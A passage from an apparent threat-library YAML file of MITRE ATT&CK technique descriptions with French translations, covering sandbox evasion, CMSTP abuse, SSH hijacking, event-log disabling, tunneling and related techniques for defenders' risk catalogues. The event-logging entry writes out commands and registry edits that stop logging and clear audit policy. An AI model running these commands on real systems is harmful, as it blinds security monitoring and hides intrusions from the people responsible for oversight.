          \ pour d\xE9tecter et \xE9viter les environnements de virtualisation et\
          \ d\u2019analyse. Cela peut inclure l\u2019\xE9num\xE9ration de propri\xE9\
          t\xE9s bas\xE9es sur le temps, telles que le temps de fonctionnement ou\
          \ l\u2019horloge syst\xE8me, ainsi que l\u2019utilisation de minuteries\
          \ ou d\u2019autres d\xE9clencheurs pour \xE9viter un environnement de machine\
          \ virtuelle (VME) ou un bac \xE0 sable, en particulier ceux qui sont automatis\xE9\
          s ou ne fonctionnent que pendant une dur\xE9e limit\xE9e.\n\nLes adversaires\
          \ peuvent utiliser diverses \xE9vasions bas\xE9es sur le temps, telles que\
          \ le report de la fonctionnalit\xE9 des logiciels malveillants lors de l\u2019\
          ex\xE9cution initiale \xE0 l\u2019aide de commandes de mise en veille programmatiques\
          \ ou d\u2019une fonctionnalit\xE9 de planification syst\xE8me native (ex\
          \ : [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Les\
          \ retards peuvent \xE9galement \xEAtre bas\xE9s sur l\u2019attente que des\
          \ conditions sp\xE9cifiques de la victime soient remplies (par exemple,\
          \ le temps du syst\xE8me, les \xE9v\xE9nements, etc.) ou l\u2019utilisation\
          \ de [canaux en plusieurs \xE9tapes](https://attack.mitre.org/techniques/T1104)\
          \ programm\xE9s pour \xE9viter l\u2019analyse et l\u2019examen. (Citation\
          \ : Sensibilisation \xE0 l\u2019environnement de Deloitte)\n\nDes commandes\
          \ b\xE9nignes ou d\u2019autres op\xE9rations peuvent \xE9galement \xEAtre\
          \ utilis\xE9es pour retarder l\u2019ex\xE9cution de logiciels malveillants.\
          \ Des boucles ou des r\xE9p\xE9titions inutiles de commandes, telles que\
          \ [Ping](https://attack.mitre.org/software/S0097), peuvent \xEAtre utilis\xE9\
          es pour retarder l\u2019ex\xE9cution de logiciels malveillants et potentiellement\
          \ d\xE9passer les seuils de temps des environnements d\u2019analyse automatis\xE9\
          e. (Citation : Jour de l\u2019ind\xE9pendance de Revil)(Citation : Netskope\
          \ Nitol) Une autre variante, commun\xE9ment appel\xE9e mart\xE8lement d\u2019\
          API, consiste \xE0 effectuer divers appels aux fonctions [API natives](https://attack.mitre.org/techniques/T1106)\
          \ afin de retarder l\u2019ex\xE9cution (tout en surchargeant potentiellement\
          \ les environnements d\u2019analyse avec des donn\xE9es ind\xE9sirables).\
          \ (R\xE9f\xE9rence : Joe Sec Nymaim)(Citation : Joe Sec Trickbot)\n\nLes\
          \ adversaires peuvent \xE9galement utiliser le temps comme mesure pour d\xE9\
          tecter les bacs \xE0 sable et les environnements d\u2019analyse, en particulier\
          \ ceux qui tentent de manipuler les m\xE9canismes temporels pour simuler\
          \ des intervalles de temps plus longs. Par exemple, un adversaire peut \xEA\
          tre en mesure d\u2019identifier un bac \xE0 sable acc\xE9l\xE9rant le temps\
          \ en \xE9chantillonnant et en calculant la valeur attendue de l\u2019horodatage\
          \ d\u2019un environnement avant et apr\xE8s l\u2019ex\xE9cution d\u2019\
          une fonction de veille. (Citation : Astuces de logiciels malveillants ISACA)\n\
          https://attack.mitre.org/techniques/T1497/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.003
    ref_id: T1218.003
    name: CMSTP
    description: "Adversaries may abuse CMSTP to proxy execution of malicious code.\
      \ The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line\
      \ program used to install Connection Manager service profiles. (Citation: Microsoft\
      \ Connection Manager Oct 2009) CMSTP.exe accepts an installation information\
      \ file (INF) as a parameter and installs a service profile leveraged for remote\
      \ access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected\
      \ with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar\
      \ to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201DSquiblydoo\u201D\
      , CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP\
      \ Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter\
      \ CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation:\
      \ Endurant CMSTP July 2018) This execution may also bypass AppLocker and other\
      \ application control defenses since CMSTP.exe is a legitimate binary that may\
      \ be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account\
      \ Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary\
      \ commands from a malicious INF through an auto-elevated COM interface. (Citation:\
      \ MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List)\
      \ (Citation: Endurant CMSTP July 2018)\nhttps://attack.mitre.org/techniques/T1218/003"
    translations:
      fr:
        name: CMSTP
        description: "Les adversaires peuvent abuser de CMSTP pour proxy l\u2019ex\xE9\
          cution de code malveillant. Le programme d\u2019installation de profil Microsoft\
          \ Connection Manager (CMSTP.exe) est un programme de ligne de commande utilis\xE9\
          \ pour installer les profils de service du Gestionnaire de connexions. (Citation\
          \ : Microsoft Connection Manager octobre 2009) CMSTP.exe accepte un fichier\
          \ d\u2019informations d\u2019installation (INF) en tant que param\xE8tre\
          \ et installe un profil de service utilis\xE9 pour les connexions d\u2019\
          acc\xE8s \xE0 distance.\n\nLes adversaires peuvent CMSTP.exe fournir des\
          \ fichiers INF infect\xE9s par des commandes malveillantes. (Citation :\
          \ Utilisation de Twitter CMSTP janvier 2018) Semblable \xE0 [Regsvr32](https://attack.mitre.org/techniques/T1218/010)\
          \ / \xAB\_Squiblydoo\_\xBB, CMSTP.exe peut \xEAtre utilis\xE9 de mani\xE8\
          re abusive pour charger et ex\xE9cuter des DLL (Citation\_: MSitPros CMSTP\
          \ Aug 2017) et/ou des scriptlets COM (SCT) \xE0 partir de serveurs distants.\
          \ (R\xE9f\xE9rence : Twitter CMSTP janvier 2018) (Citation : GitHub Ultimate\
          \ AppLocker Bypass List) (R\xE9f\xE9rence : Endurant CMSTP juillet 2018)\
          \ Cette ex\xE9cution peut \xE9galement contourner AppLocker et d\u2019autres\
          \ d\xE9fenses de contr\xF4le des applications, car CMSTP.exe s\u2019agit\
          \ d\u2019un fichier binaire l\xE9gitime qui peut \xEAtre sign\xE9 par Microsoft.\n\
          \nCMSTP.exe peut \xE9galement \xEAtre utilis\xE9 de mani\xE8re abusive pour\
          \ [Contourner le contr\xF4le de compte d\u2019utilisateur](https://attack.mitre.org/techniques/T1548/002)\
          \ et ex\xE9cuter des commandes arbitraires \xE0 partir d\u2019un INF malveillant\
          \ via une interface COM auto-\xE9lev\xE9e. (Citation : MSitPros CMSTP ao\xFB\
          t 2017) (Citation : GitHub Ultimate AppLocker Bypass List) (R\xE9f\xE9rence\
          \ : Endurant CMSTP juillet 2018)\nhttps://attack.mitre.org/techniques/T1218/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1563.001
    ref_id: T1563.001
    name: SSH Hijacking
    description: 'Adversaries may hijack a legitimate user''s SSH session to move
      laterally within an environment. Secure Shell (SSH) is a standard means of remote
      access on Linux and macOS systems. It allows a user to connect to another system
      via an encrypted tunnel, commonly authenticating through a password, certificate
      or the use of an asymmetric encryption key pair.


      In order to move laterally from a compromised host, adversaries may take advantage
      of trust relationships established with other systems via public key authentication
      in active SSH sessions by hijacking an existing connection to another system.
      This may occur through compromising the SSH agent itself or by having access
      to the agent''s socket. If an adversary is able to obtain root access, then
      hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation:
      SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach
      Post-mortem SSH Hijack)


      [SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from
      use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks
      an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

      https://attack.mitre.org/techniques/T1563/001'
    translations:
      fr:
        name: "D\xE9tournement SSH"
        description: "Les adversaires peuvent d\xE9tourner la session SSH d\u2019\
          un utilisateur l\xE9gitime pour se d\xE9placer lat\xE9ralement dans un environnement.\
          \ Secure Shell (SSH) est un moyen standard d\u2019acc\xE8s \xE0 distance\
          \ sur les syst\xE8mes Linux et macOS. Il permet \xE0 un utilisateur de se\
          \ connecter \xE0 un autre syst\xE8me via un tunnel chiffr\xE9, en s\u2019\
          authentifiant g\xE9n\xE9ralement par le biais d\u2019un mot de passe, d\u2019\
          un certificat ou de l\u2019utilisation d\u2019une paire de cl\xE9s de chiffrement\
          \ asym\xE9trique.\n\nAfin de se d\xE9placer lat\xE9ralement \xE0 partir\
          \ d\u2019un h\xF4te compromis, les adversaires peuvent tirer parti des relations\
          \ de confiance \xE9tablies avec d\u2019autres syst\xE8mes via l\u2019authentification\
          \ par cl\xE9 publique dans les sessions SSH actives en d\xE9tournant une\
          \ connexion existante vers un autre syst\xE8me. Cela peut se produire en\
          \ compromettant l\u2019agent SSH lui-m\xEAme ou en ayant acc\xE8s au socket\
          \ de l\u2019agent. Si un adversaire est en mesure d\u2019obtenir un acc\xE8\
          s root, le d\xE9tournement de sessions SSH est probablement trivial. (Citation\
          \ : Slideshare abusant de SSH)(Citation : SSHjack Blackhat)(Citation : D\xE9\
          tournement d\u2019agent SSH m\xE9canique)(Citation : Violation Post-mortem\
          \ SSH Hijack)\n\n[D\xE9tournement SSH](https://attack.mitre.org/techniques/T1563/001)\
          \ diff\xE8re de l\u2019utilisation de [SSH](https://attack.mitre.org/techniques/T1021/004)\
          \ car il d\xE9tourne une session SSH existante plut\xF4t que de cr\xE9er\
          \ une nouvelle session \xE0 l\u2019aide de [Comptes valides](https://attack.mitre.org/techniques/T1078).\n\
          https://attack.mitre.org/techniques/T1563/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1562.002
    ref_id: T1562.002
    name: Disable Windows Event Logging
    description: "Adversaries may disable Windows event logging to limit data that\
      \ can be leveraged for detections and audits. Windows event logs record user\
      \ and system activity such as login attempts, process creation, and much more.(Citation:\
      \ Windows Log Events) This data is used by security tools and analysts to generate\
      \ detections.\n\nThe EventLog service maintains event logs from various system\
      \ components and applications.(Citation: EventLog_Core_Technologies) By default,\
      \ the service automatically starts when a system powers on. An audit policy,\
      \ maintained by the Local Security Policy (secpol.msc), defines which system\
      \ events the EventLog service logs. Security audit policy settings can be changed\
      \ by running secpol.msc, then navigating to <code>Security Settings\\Local Policies\\\
      Audit Policy</code> for basic audit policy settings or <code>Security Settings\\\
      Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation:\
      \ Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code>\
      \ may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries\
      \ may target system-wide logging or just that of a particular application. For\
      \ example, the Windows EventLog service may be disabled using the <code>Set-Service\
      \ -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code>\
      \ commands (followed by manually stopping the service using <code>Stop-Service\
      \  -Name EventLog</code>).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging)\
      \ Additionally, the service may be disabled by modifying the \u201CStart\u201D\
      \ value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog</code>\
      \ then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)\n\
      \nThere are several ways to disable the EventLog service via registry key modification.\
      \ First, without Administrator privileges, adversaries may modify the \"Start\"\
      \ value in the key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\\
      WMI\\Autologger\\EventLog-Security</code>, then reboot the system to disable\
      \ the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second,\
      \ with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\\\
      SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System</code>\
      \ and <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\\
      EventLog-Application</code> to disable the entire EventLog.(Citation: disable_win_evt_logging)\n\
      \nAdditionally, adversaries may use <code>auditpol</code> and its sub-commands\
      \ in a command prompt to disable auditing or clear the audit policy. To enable\
      \ or disable a specified setting or audit category, adversaries may use the\
      \ <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol\
      \ /set /category:\u201DAccount Logon\u201D /success:disable /failure:disable</code>\
      \ turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation:\
      \ T1562.002_redcanaryco) To clear the audit policy, adversaries may run the\
      \ following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove\
      \ /allusers</code>.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows\
      \ event logging, adversaries can operate while leaving less evidence of a compromise\
      \ behind.\nhttps://attack.mitre.org/techniques/T1562/002"
    translations:
      fr:
        name: "D\xE9sactiver la journalisation des \xE9v\xE9nements Windows"
        description: "Les adversaires peuvent d\xE9sactiver la journalisation des\
          \ \xE9v\xE9nements Windows afin de limiter les donn\xE9es qui peuvent \xEA\
          tre exploit\xE9es pour les d\xE9tections et les audits. Les journaux d'\xE9\
          v\xE9nements Windows enregistrent les activit\xE9s des utilisateurs et du\
          \ syst\xE8me, telles que les tentatives d'ouverture de session, la cr\xE9\
          ation de processus et bien d'autres choses encore (Citation : Windows Log\
          \ Events) Ces donn\xE9es sont utilis\xE9es par les outils de s\xE9curit\xE9\
          \ et les analystes pour g\xE9n\xE9rer des d\xE9tections.\n\nLe service EventLog\
          \ conserve les journaux d'\xE9v\xE9nements provenant de divers composants\
          \ et applications du syst\xE8me (Citation : EventLog_Core_Technologies).\
          \ Par d\xE9faut, le service d\xE9marre automatiquement lorsqu'un syst\xE8\
          me est mis sous tension. Une politique d'audit, g\xE9r\xE9e par la strat\xE9\
          gie de s\xE9curit\xE9 locale (secpol.msc), d\xE9finit les \xE9v\xE9nements\
          \ du syst\xE8me que le service EventLog enregistre. Les param\xE8tres de\
          \ la politique d'audit de s\xE9curit\xE9 peuvent \xEAtre modifi\xE9s en\
          \ ex\xE9cutant secpol.msc, puis en acc\xE9dant \xE0 <code>Param\xE8tres\
          \ de s\xE9curit\xE9 - Politiques locales - Politique d'audit</code> pour\
          \ les param\xE8tres de base de la politique d'audit ou \xE0 <code>Param\xE8\
          tres de s\xE9curit\xE9 - Configuration avanc\xE9e de la politique d'audit</code>\
          \ pour les param\xE8tres avanc\xE9s de la politique d'audit.(Citation :\
          \ Audit_Policy_Microsoft)(Citation : Advanced_sec_audit_policy_settings)\
          \ <code>auditpol.exe</code> peut \xE9galement \xEAtre utilis\xE9 pour d\xE9\
          finir les politiques d'audit.(Citation : auditpol)\n\nLes adversaires peuvent\
          \ cibler la journalisation de l'ensemble du syst\xE8me ou seulement celle\
          \ d'une application particuli\xE8re. Par exemple, le service Windows EventLog\
          \ peut \xEAtre d\xE9sactiv\xE9 \xE0 l'aide des commandes <code>Set-Service\
          \ -Name EventLog -Status Stopped</code> ou <code>sc config eventlog start=disabled</code>\
          \ (suivies de l'arr\xEAt manuel du service \xE0 l'aide de <code>Stop-Service\
          \ -Name EventLog</code>). (Citation : Disable_Win_Event_Logging)(Citation\
          \ : disable_win_evt_logging) En outre, le service peut \xEAtre d\xE9sactiv\xE9\
          \ en modifiant la valeur \xAB Start \xBB dans <code>HKEY_LOCAL_MACHINE\\\
          SYSTEM\\CurrentControlSet\\Services\\EventLog</code> puis en red\xE9marrant\
          \ le syst\xE8me pour que la modification prenne effet.(Citation : disable_win_evt_logging)\n\
          \nIl existe plusieurs fa\xE7ons de d\xE9sactiver le service EventLog en\
          \ modifiant la cl\xE9 de registre. Premi\xE8rement, sans les privil\xE8\
          ges de l'administrateur, les adversaires peuvent modifier la valeur \"Start\"\
          \ dans la cl\xE9 <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\\
          WMI\\Autologger\\EventLog-Security</code>, puis red\xE9marrer le syst\xE8\
          me pour d\xE9sactiver le journal des \xE9v\xE9nements de s\xE9curit\xE9\
          . (Citation : winser19_file_overwrite_bug_twitter) Deuxi\xE8mement, avec\
          \ les privil\xE8ges de l'administrateur, les adversaires peuvent modifier\
          \ les m\xEAmes valeurs dans <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\\
          Control\\WMI\\Autologger\\EventLog-System</code> et <code>HKEY_LOCAL_MACHINE\\\
          SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application</code>\
          \ pour d\xE9sactiver l'ensemble de l'EventLog. (Citation : disable_win_evt_logging)\n\
          \nEn outre, les adversaires peuvent utiliser <code>auditpol</code> et ses\
          \ sous-commandes dans une invite de commande pour d\xE9sactiver l'audit\
          \ ou effacer la politique d'audit. Pour activer ou d\xE9sactiver un param\xE8\
          tre ou une cat\xE9gorie d'audit sp\xE9cifique, les adversaires peuvent utiliser\
          \ les param\xE8tres <code>/success</code> ou <code>/failure</code>. Par\
          \ exemple, <code>auditpol /set /category : \xAB Account Logon \xBB /success:disable\
          \ /failure:disable</code> d\xE9sactive l'audit pour la cat\xE9gorie Account\
          \ Logon.(Citation : auditpol.exe_STRONTIC)(Citation : T1562.002_redcanaryco)\
          \ Pour effacer la politique d'audit, les adversaires peuvent ex\xE9cuter\
          \ les lignes suivantes : <code>auditpol /clear /y</code> ou <code>auditpol\
          \ /remove /allusers</code>.(Citation : T1562.002_redcanaryco)\n\nEn d\xE9\
          sactivant la journalisation des \xE9v\xE9nements Windows, les adversaires\
          \ peuvent op\xE9rer en laissant moins de preuves d'une compromission.\n\
          https://attack.mitre.org/techniques/T1562/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1029
    ref_id: T1029
    name: Scheduled Transfer
    description: 'Adversaries may schedule data exfiltration to be performed only
      at certain times of day or at certain intervals. This could be done to blend
      traffic patterns with normal activity or availability.


      When scheduled exfiltration is used, other exfiltration techniques likely apply
      as well to transfer the information out of the network, such as [Exfiltration
      Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration
      Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).

      https://attack.mitre.org/techniques/T1029'
    translations:
      fr:
        name: "Transfert programm\xE9"
        description: "Les adversaires peuvent programmer l\u2019exfiltration de donn\xE9\
          es pour qu\u2019elle ne soit effectu\xE9e qu\u2019\xE0 certaines heures\
          \ de la journ\xE9e ou \xE0 certains intervalles. Cela peut \xEAtre fait\
          \ pour combiner les mod\xE8les de trafic avec une activit\xE9 ou une disponibilit\xE9\
          \ normale.\n\nLorsque l\u2019exfiltration programm\xE9e est utilis\xE9e,\
          \ d\u2019autres techniques d\u2019exfiltration s\u2019appliquent probablement\
          \ \xE9galement pour transf\xE9rer les informations hors du r\xE9seau, telles\
          \ que [Exfiltration sur le canal C2](https://attack.mitre.org/techniques/T1041)\
          \ ou [Exfiltration sur un protocole alternatif](https://attack.mitre.org/techniques/T1048).\n\
          https://attack.mitre.org/techniques/T1029"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1021.002
    ref_id: T1021.002
    name: SMB/Windows Admin Shares
    description: 'Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078)
      to interact with a remote network share using Server Message Block (SMB). The
      adversary may then perform actions as the logged-on user.


      SMB is a file, printer, and serial port sharing protocol for Windows machines
      on the same network or domain. Adversaries may use SMB to interact with file
      shares, allowing them to move laterally throughout a network. Linux and macOS
      implementations of SMB typically use Samba.


      Windows systems have hidden network shares that are accessible only to administrators
      and provide the ability for remote file copy and other administrative functions.
      Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use
      this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078)
      to remotely access a networked system over SMB,(Citation: Wikipedia Server Message
      Block) to interact with systems using remote procedure calls (RPCs),(Citation:
      TechNet RPC) transfer files, and run transferred binaries through remote Execution.
      Example execution techniques that rely on authenticated sessions over SMB/RPC
      are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service
      Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management
      Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can
      also use NTLM hashes to access administrator shares on systems with [Pass the
      Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration
      and patch levels.(Citation: Microsoft Admin Shares)

      https://attack.mitre.org/techniques/T1021/002'
    translations:
      fr:
        name: Partages SMB/Windows Admin
        description: "Les adversaires peuvent utiliser [Comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ pour interagir avec un partage r\xE9seau distant \xE0 l\u2019aide de Server\
          \ Message Block (SMB). L\u2019adversaire peut alors effectuer des actions\
          \ en tant qu\u2019utilisateur connect\xE9.\n\nSMB est un protocole de partage\
          \ de fichiers, d\u2019imprimantes et de ports s\xE9rie pour les machines\
          \ Windows sur le m\xEAme r\xE9seau ou domaine. Les adversaires peuvent utiliser\
          \ SMB pour interagir avec les partages de fichiers, ce qui leur permet de\
          \ se d\xE9placer lat\xE9ralement sur un r\xE9seau. Les impl\xE9mentations\
          \ Linux et macOS de SMB utilisent g\xE9n\xE9ralement Samba.\n\nLes syst\xE8\
          mes Windows ont des partages r\xE9seau cach\xE9s qui ne sont accessibles\
          \ qu\u2019aux administrateurs et offrent la possibilit\xE9 de copier des\
          \ fichiers \xE0 distance et d\u2019autres fonctions administratives. Exemples\
          \ de partages r\xE9seau : \xAB C$ \xBB, \xAB ADMIN$ \xBB et \xAB IPC$ \xBB\
          . Les adversaires peuvent utiliser cette technique en conjonction avec des\
          \ [comptes valides](https://attack.mitre.org/techniques/T1078) de niveau\
          \ administrateur pour acc\xE9der \xE0 distance \xE0 un syst\xE8me en r\xE9\
          seau via SMB, (Citation : Wikipedia Server Message Block) pour interagir\
          \ avec des syst\xE8mes \xE0 l\u2019aide d\u2019appels de proc\xE9dure \xE0\
          \ distance (RPC),(Citation : TechNet RPC) transf\xE9rer des fichiers, et\
          \ ex\xE9cuter des fichiers binaires transf\xE9r\xE9s via l\u2019ex\xE9cution\
          \ \xE0 distance. Des exemples de techniques d\u2019ex\xE9cution qui reposent\
          \ sur des sessions authentifi\xE9es via SMB/RPC sont [T\xE2che/Travail planifi\xE9\
          ](https://attack.mitre.org/techniques/T1053), [Ex\xE9cution de service](https://attack.mitre.org/techniques/T1569/002)\
          \ et [Instrumentation de gestion Windows](https://attack.mitre.org/techniques/T1047).\
          \ Les adversaires peuvent \xE9galement utiliser des hachages NTLM pour acc\xE9\
          der aux partages d\u2019administrateur sur les syst\xE8mes avec [Pass the\
          \ Hash](https://attack.mitre.org/techniques/T1550/002) et certains niveaux\
          \ de configuration et de correctif. (citation : Microsoft Admin Shares)\n\
          https://attack.mitre.org/techniques/T1021/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1525
    ref_id: T1525
    name: Implant Internal Image
    description: "Adversaries may implant cloud or container images with malicious\
      \ code to establish persistence after gaining access to an environment. Amazon\
      \ Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP)\
      \ Images, and Azure Images as well as popular container runtimes such as Docker\
      \ can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001),\
      \ this technique focuses on adversaries implanting an image in a registry within\
      \ a victim\u2019s environment. Depending on how the infrastructure is provisioned,\
      \ this could provide persistent access if the infrastructure provisioning tool\
      \ is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image\
      \ Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting\
      \ backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September\
      \ 2019) If an adversary has access to a compromised AWS instance, and permissions\
      \ to list the available container images, they may implant a backdoor such as\
      \ a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino\
      \ Labs Cloud Image Backdoor Technique Sept 2019)\nhttps://attack.mitre.org/techniques/T1525"
    translations:
      fr:
        name: "Image interne de l\u2019implant"
        description: "Les adversaires peuvent implanter des images de cloud ou de\
          \ conteneur avec un code malveillant pour \xE9tablir la persistance apr\xE8\
          s avoir acc\xE9d\xE9 \xE0 un environnement. Les images Amazon Web Services\
          \ (AWS), Amazon Machine Images (AMI), Google Cloud Platform (GCP) et Azure\
          \ Images, ainsi que les environnements d\u2019ex\xE9cution de conteneurs\
          \ populaires tels que Docker, peuvent \xEAtre implant\xE9s ou d\xE9rob\xE9\
          s. Contrairement \xE0 [Upload Malware](https://attack.mitre.org/techniques/T1608/001),\
          \ cette technique se concentre sur l\u2019implantation d\u2019une image\
          \ par des adversaires dans un registre au sein de l\u2019environnement d\u2019\
          une victime. Selon la fa\xE7on dont l\u2019infrastructure est provisionn\xE9\
          e, cela peut fournir un acc\xE8s persistant si l\u2019outil de provisionnement\
          \ de l\u2019infrastructure est charg\xE9 d\u2019utiliser toujours la derni\xE8\
          re image. (Citation : Rhino Labs Cloud Image Backdoor Technique, septembre\
          \ 2019)\n\nUn outil a \xE9t\xE9 d\xE9velopp\xE9 pour faciliter la plantation\
          \ de portes d\xE9rob\xE9es dans les images de conteneurs de nuages. (Citation\
          \ : Rhino Labs Cloud Backdoor, septembre 2019) Si un adversaire a acc\xE8\
          s \xE0 une instance AWS compromise et est autoris\xE9 \xE0 r\xE9pertorier\
          \ les images de conteneur disponibles, il peut implanter une porte d\xE9\
          rob\xE9e telle qu\u2019un [Web Shell](https://attack.mitre.org/techniques/T1505/003).\
          \ (Citation : Rhino Labs Cloud Image Backdoor Technique, septembre 2019)\n\
          https://attack.mitre.org/techniques/T1525"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1572
    ref_id: T1572
    name: Protocol Tunneling
    description: "Adversaries may tunnel network communications to and from a victim\
      \ system within a separate protocol to avoid detection/network filtering and/or\
      \ enable access to otherwise unreachable systems. Tunneling involves explicitly\
      \ encapsulating a protocol within another. This behavior may conceal malicious\
      \ traffic by blending in with existing traffic and/or provide an outer layer\
      \ of encryption (similar to a VPN). Tunneling could also enable routing of network\
      \ packets that would otherwise not reach their intended destination, such as\
      \ SMB, RDP, or other traffic that would be filtered by network appliances or\
      \ not routed over the Internet. \n\nThere are various means to encapsulate a\
      \ protocol within another protocol. For example, adversaries may perform SSH\
      \ tunneling (also known as SSH port forwarding), which involves forwarding arbitrary\
      \ data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol\
      \ Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by\
      \ adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568).\
      \ Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be\
      \ encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua\
      \ JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572)\
      \ in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or\
      \ [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003)\
      \ to further conceal C2 communications and infrastructure.\nhttps://attack.mitre.org/techniques/T1572"
    translations:
      fr:
        name: Tunneling de protocole
        description: "Les adversaires peuvent tunneliser les communications r\xE9\
          seau vers et depuis un syst\xE8me victime au sein d\u2019un protocole distinct\
          \ pour \xE9viter la d\xE9tection/le filtrage du r\xE9seau et/ou permettre\
          \ l\u2019acc\xE8s \xE0 des syst\xE8mes autrement inaccessibles. Le tunneling\
          \ consiste \xE0 encapsuler explicitement un protocole dans un autre. Ce\
          \ comportement peut dissimuler le trafic malveillant en se fondant dans\
          \ le trafic existant et/ou fournir une couche externe de cryptage (similaire\
          \ \xE0 un VPN). Le tunneling peut \xE9galement permettre le routage de paquets\
          \ r\xE9seau qui n\u2019atteindraient pas leur destination pr\xE9vue, tels\
          \ que SMB, RDP ou d\u2019autres trafics qui seraient filtr\xE9s par des\
          \ appliances r\xE9seau ou qui ne seraient pas achemin\xE9s via Internet.\
          \ \n\nIl existe diff\xE9rentes fa\xE7ons d\u2019encapsuler un protocole\
          \ dans un autre protocole. Par exemple, les adversaires peuvent effectuer\
          \ un tunneling SSH (\xE9galement connu sous le nom de transfert de port\
          \ SSH), qui implique le transfert de donn\xE9es arbitraires via un tunnel\
          \ SSH crypt\xE9. (Citation : Tunneling SSH) \n\n[Tunneling de protocole](https://attack.mitre.org/techniques/T1572)\
          \ peut \xE9galement \xEAtre abus\xE9 par des adversaires pendant la [R\xE9\
          solution dynamique](https://attack.mitre.org/techniques/T1568). Connu sous\
          \ le nom de DNS over HTTPS (DoH), les requ\xEAtes visant \xE0 r\xE9soudre\
          \ l\u2019infrastructure C2 peuvent \xEAtre encapsul\xE9es dans des paquets\
          \ HTTPS chiffr\xE9s. (Citation : BleepingComp Godlua JUL19) \n\nLes adversaires\
          \ peuvent \xE9galement exploiter le [Protocol Tunneling](https://attack.mitre.org/techniques/T1572)\
          \ en conjonction avec le [Proxy](https://attack.mitre.org/techniques/T1090)\
          \ et/ou le [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003)\
          \ pour dissimuler davantage les communications et l\u2019infrastructure\
          \ C2.\nhttps://attack.mitre.org/techniques/T1572"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.002
    ref_id: T1218.002
    name: Control Panel
    description: 'Adversaries may abuse control.exe to proxy execution of malicious
      payloads. The Windows Control Panel process binary (control.exe) handles execution
      of Control Panel items, which are utilities that allow users to view and adjust
      computer settings.


      Control Panel items are registered executable (.exe) or Control Panel (.cpl)
      files, the latter are actually renamed dynamic-link library (.dll) files that
      export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation:
      TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically
      include graphical menus available to users after being registered and loaded
      into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel
      items can be executed directly from the command line, programmatically via an
      application programming interface (API) call, or by simply double-clicking the
      file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware
